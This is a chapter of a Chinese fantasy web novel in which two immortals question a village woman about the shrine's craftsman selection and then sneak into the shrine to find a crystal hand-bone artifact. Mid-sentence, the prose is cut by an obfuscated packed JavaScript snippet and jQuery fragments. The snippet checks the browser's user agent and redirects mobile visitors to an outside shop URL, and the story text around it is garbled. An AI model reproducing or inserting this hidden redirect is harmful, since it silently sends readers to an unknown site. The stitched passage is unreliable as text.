因为暂时不能去找挚晚生,业无障便提议去找秋嫂他们,毕竟两人救过他们,问起话来也便利。
“哟!大仙君小仙君!”秋嫂远远地瞧见他们便大声吆喝。
秋嫂开着一家小饭馆,店中干净整洁,生意正好,不过业无障他们过来后她也没怠慢,亲自倒茶擦凳。
“二位在村中游玩得如何?”秋嫂端上来两盘点心,笑呵呵地问。
业无障也不客气,拿起点心就吃,怀中的彩虹见状,也嗷嗷叫求投喂,业无障笑着喂了彩虹一些,还不忘夸秋嫂手艺好。
“我同哥哥这两日看下来,很是钦佩村中匠人的手艺。”业无障说着,桌下的手稍稍按了按曲云伽的腿,示意他先别说话。
曲云伽不知有没有懂业无障的意思,侧目看了他一眼,没有出声。
“别的不说,要论雕刻,我们技指村称第二,那整个泛尘空间就没有第一了。”
秋嫂也是满脸自豪:“虽然我家中无人被选到祠堂学手艺,不过每次出门帮他们送东西,也是赚足了面子。”
“原来村中匠人还得选拔?”业无障一脸无害的套话。
“那可不!”
秋嫂煞有介事:“选起来甚是严苛,不过严苛也是有道理的,被选中的,只要进了祠堂,不出一个月,那手艺就定然非同一般了。”
“说来也神了,不知祠堂中到底是哪些老匠人在教他们,如今村中这几百名雕骨的匠人,都是进了祠堂后,手艺才突飞猛进,无一例外!”
业无障笑道:“看来选中的,都是天赋异禀之人。”
“那是当然。”秋嫂笃定地点头。
“可惜我家那几个没这个福分,这辈子也没进祠堂瞧过一眼。”
听到这句话,业无障几乎笃定,技指村的祠堂,肯定藏着尤为重要的东西。
那什么东西对技指村最重要呢?
那必然,是神器。
“哥哥,想吃。”不知什么时候,一个模样可爱的小女孩走到了业无障身边,正眼巴巴地看着桌上的糕点。
秋嫂忙上前拉走女孩:“小仙君见笑了,这是家中小女。”
被强行拉走的女孩,还盯着桌上的糕点,被她那小馋虫模样逗得直笑的业无障,想到了什么,收敛了笑意。
他亲手拿起糕点,塞到女孩手心。
“还不谢谢仙君。”秋嫂一脸尴尬地催促女孩。
女孩正专心致志地吃着糕点,闻言头也没抬的说了句谢谢。
明明自己开着店,孩子却没法常吃上糕点,看来秋嫂的日子过得确实艰难。
“她几岁了?”业无障询问。
秋嫂一脸慈爱地摸着女孩的鬓发,道:“十岁了。”
业无障有些意外,女孩看上去不过七八岁模样,他看着女孩略显瘦削的小脸,斟酌开口:“她似乎生着病。”
说到这,秋嫂脸色不禁暗沉了些许,她点头:“是打娘胎里就带上的病,我家那口子是个混账,嗜酒好赌,死了都不让我们安生,留给我一屁股债,还害得安安一身病。”
安安,便是那个女孩了。
这时,刚吃完糕点的安安不知怎么的,猛地咳嗽起来,咳得撕心裂肺,让人揪心。
只见秋嫂熟练掏出一包红色药粉兑了水,喂着安安喝了下去,这才好了些许。
业无障突然想起曲云伽好像学过一点医术,于是看向他。
曲云伽开口:“我略知医理,可为她诊脉。”
秋嫂闻言,眼睛一亮,忙将安安拉到曲云伽面前。
曲云伽替安安诊了片刻脉后,看向业无障,轻轻摇头:“抱歉。”
秋嫂见状,也没有太过失望,这些年,这般场景她经历过无数次。
她挤出笑,故作轻松道:“仙君不必挂怀,安安的病……我是知道的,不过好在从前有位神医给开了个方子,只要用我们村中独有的一种花入药,便可缓解病症。”
业无障脑中闪过那些店铺中摆着的猩红花朵:“是那种红色的花?”
“没错。”
秋嫂点头,道:“说来也怪,那种花在别处养不活,只有那些匠人不知用的什么法子,养得极好。”
业无障颔首,眼看天色不早,他们也问不到什么有价值的线索了。
毕竟秋嫂家里并没有匠人,她对神器的了解实在有限。
“我与哥哥还有事,就不多叨扰了。”业无障起身告辞,曲云伽则是留下银钱。
秋嫂见状忙把钱塞回曲云伽手中:“这可使不得!大仙君这可折煞我了!”
曲云伽不擅长应对这种情况,眼神茫然地看了眼业无障。
业无障抱着彩虹,笑着上前,将钱塞回秋嫂手中,道:“不必如此,当日也只是举手之劳,况且您也是小本生意,哪能如此亏耗。”
秋嫂拗不过,只得拿走一半钱,连连道:“这些尽够了。”
业无障直接将剩下的钱塞到安安手中,顺手摸了摸她发间,柔声道:“拿去买糖吃。”
说完,也不给秋嫂拒绝的机会,带着曲云伽和彩虹走了。
秋嫂拉着安安,在门口看着他们的背影,眼眶渐渐红了:“……真是遇到大善人了。”
曲云伽听力绝佳,纵使走远了,也听到了秋嫂的感叹。
他眼中闪过茫然,忍不住开口:“为什么她不愿收钱。”
业无障侧眸看他,道:“因为心里感谢你,你前日救了她,那些点心是她的谢礼。”
曲云伽闻言,还是困惑:“那你为什么要给她钱?”
业无障失笑,认真解释:“秋嫂做生意不容易,端出来的就是她店中最贵最好的点心,要是我们白吃了,她今天或许会亏钱。”
“她开着店,还冒着危险跟着商队出去卖货,想来是真的很缺钱,我们不缺钱,那帮上一帮也是好的。”
其实有一个原因业无障没说,他们是带着目的来套话的,既然他从秋嫂那套到了线索,那他就不想再占秋嫂便宜。
曲云伽听完这些解释,侧眸凝视业无障半晌,道:“她说我们是大善人,因为她原本不要我们的钱,我们却给了她钱?”
业无障愣住,片刻后才理解了曲云伽的脑回路,笑着点头:“嗯。”
曲云伽点头,若有所思。
“我们或许要去祠堂走一遭。”业无障说回正事。
曲云伽赞同:“我知道祠堂在哪。”
他神识覆盖全村,自然是知道祠堂在哪,当然业无障也知道,不过他得装作不知道。
“真的吗?可我们昨日没有路过祠堂,云云,你如何知道祠堂在哪?”业无障装得懵懂。
曲云伽道:“神识查探。”
业无障夸夸:“云云,你真厉害,要是没有你,我肯定又要费一些功夫才能找到路。”
被夸了很多次的曲云伽已经稍有免疫,但业无障还是看到他耳根泛起了一点红意。
“在前方。”
在曲云伽的带领下,两人很快走到祠堂附近,只不过他们还没进去,就遇到了一个意料之外的人。
“老宏?”
宏福被惊得抖了一下,这才注意到前方的业无障和曲云伽。
他看上去脸色不太好,嘴唇苍白冷汗淋漓,似乎受到了什么惊吓。
业无障见他如此模样,更是好奇地上前:“你怎么了?”
“……小,小仙君。”
老宏擦了擦汗,冲业无障挤出一个难看的笑,道:“我,我方才无意间看到一些东西,一时被吓住了……”
业无障追问:“你看见什么了?”
“……兴许是我看错了,我,我看见那房子后面,有个洞,里面有许多奇怪的人偶,就好像……”
说到这,老宏下意识回头看了眼祠堂,眼中难掩惶恐。
他吞了吞唾沫,在业无障平静的注视下,艰难道:“……就好像,干了的尸体一样。”
“哦?”业无障微微挑眉,状似疑惑:“祠堂中怎么会有干尸?”
“应该不是真的干尸!因为我瞧见那些人偶还会动,不过也可能是我眼花……”
老宏说到这,也缓过来些了,他看着两人,犹豫了一下,又解释道:“我到这边来,是来找人的。”
业无障更是好奇了,这可不是原书的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674189|207415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
内容:“找人,找谁?”
“我的小妹,失踪十几天了。”
老宏神情黯淡下来,低声道:“自从家中遭灾后,小妹便无故消失了,从前听她说起过这里,只好顺着路来找一找。”
难怪,老宏打扮淳朴,看上去并非爱好游历的游子,却千里迢迢来到了这技指村,原来是为了找人。
老宏跟二人交代完就步履匆忙地告辞了,看方向是去了秋嫂店中。
“找人居然找到人家祠堂去了……”业无障一脸意味深长。
曲云伽也有些疑惑,但是他有一点可以笃定:“祠堂中有问题。”
业无障赞同,两人没再拖延,在业无障的建议下,两人没有走大门,而是曲云伽施法带着业无障潜入了祠堂主屋。
“咦?”进到主屋,业无障一眼就看到了正中央的摆着的东西。
在密密麻麻的牌位下中央,摆的不是瓜果贡品,而是一簇晶石。
似乎是一簇天然晶矿,为什么说是“似乎”,因为这簇品相极佳的透色水晶虽状似天然,但看起来,极像人的一双手骨。
“鬼斧神工。”业无障赞叹。
曲云伽看到水晶手骨,却是眉头一皱:“神器?”
业无障意外:“这就是神器?”
曲云伽没回答,他有些不确定:“上面确实有浓厚的神力,但似乎只附在表层。”
业无障闻言,没急着说话。
他自然也看得到晶石表面附着的神力,甚至看得比曲云伽清楚,神力确实不是晶石本身所有,是从外沾染上去的。
不过这到底是不是神器,业无障也不太确定。
原文多半是以詹灵淳的视角来描写,可詹灵淳又因为实力弱常脱离战斗圈,真正动手收复神器的,一般只有曲云伽。
每次曲云伽收复完神器送到詹灵淳面前时,神器就剩一团神力了。
所以,业无障也不确定,神器是不是就只是神力。
眼前这具水晶手骨或许就是“神器”,也或许,只是承载一部分神力的器皿。
除此之外,业无障还有一点觉得意外,就是眼前的“神器”,他们见过类似的。
在挚晚生的店铺中,有一个近乎完全相同的复制品。
只不过挚晚生店铺中摆着的那个,人为雕刻痕迹更重,并且只有眼前这个水晶手骨的一半大。
这让业无障有些困惑。
挚晚生见过神器?
照秋嫂的话来说,进过祠堂的人,都成了雕骨的匠人,可挚晚生,极其排斥骨雕。
业无障脑中一时间闪过众多思绪,但他面上依旧维持纯稚无知。
他见曲云伽盯着那“神器”,于是开口道:“……云云,既然我是神匣,那我去试试不就知道这是不是神器了?”
曲云伽果断摇头。
虽然业无障身怀浩瀚灵力,体质强悍,但总体还是手无缚鸡之力,万一村中族老在这神器上涂毒或是动了什么手脚,业无障必然受伤。
业无障当然知道曲云伽的担忧,心中一暖。
虽然他知道,曲云伽是出于大局,但业无障还是自行将他的担心换算成对自己的关心。
他不禁又想说几句情话调戏一下曲云伽,可怀中安静的彩虹突然动了动,似有异状。
“你们是谁!”
一声惊呼打断了业无障的拳拳情意。
他拧眉看去,只见牌位后方,不知什么时候出现了一个白衣少年,看上去不过十七八岁。
最让人费解的是,业无障和曲云伽居然都没察觉到这少年的气息,神识更是完全查不到这个人的存在,可肉眼可见,这人是活人。
事出反常必有妖,业无障率先做出反应,对少年露出和煦笑容:“我们是来游玩的旅客,不小心误入此地。”
“这是族中禁地,你们是怎么进来的!”
少年显然警惕性极高,更何况,曲云伽和业无障一看就不是一般人。
尤其是曲云伽……少年神色一凛,突而转身,拉动后方的粗绳,动作快到两人根本来不及阻止。
一时间,震耳欲聋的钟声,响彻技指村。